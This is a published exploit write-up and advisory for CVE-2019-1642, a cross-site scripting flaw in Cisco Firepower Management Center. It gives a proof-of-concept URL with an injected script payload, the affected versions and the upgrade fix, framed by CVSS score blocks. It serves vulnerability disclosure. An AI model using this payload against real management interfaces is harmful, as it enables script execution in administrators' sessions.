CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
75.3%
# Exploit Title: Cisco Firepower Management Center Cross-Site Scripting (XSS) Vulnerability
# Google Dork: N/A
# Date: 23-01-2019
################################
# Exploit Author: Bhushan B. Patil
################################
# Advisory URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss
# Affected Version: 6.2.2.2 & 6.2.3
# Cisco Bug ID: CSCvk30983
# CVE: CVE-2019-1642
1. Technical Description:
A vulnerability in the web-based management interface of Cisco Firepower Management Center (FMC) software could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based management interface of the affected software.
The vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of the affected software. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information.
2. Proof Of Concept:
Login to Cisco Firepower Management Center (FMC) and browse to Systems -> Configuration menu.
https://<ip address>/platinum/platformSettingEdit.cgi?type=TimeSetting
Append the following XSS payload >"><script>alert("XXS POC")</script>& in the URL
The URL will become and on submitting it you'll get an alert popup.
https://<ip address>/platinum/platformSettingEdit.cgi?type=>"><script>alert("XXS POC")</script>&
3. Solution:
Upgrade to version 6.3.0
For more information about fixed software releases, consult the Cisco bug ID CSCvk30983<https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvk30983>
4. Reference:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-frpwr-mc-xss
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
75.3%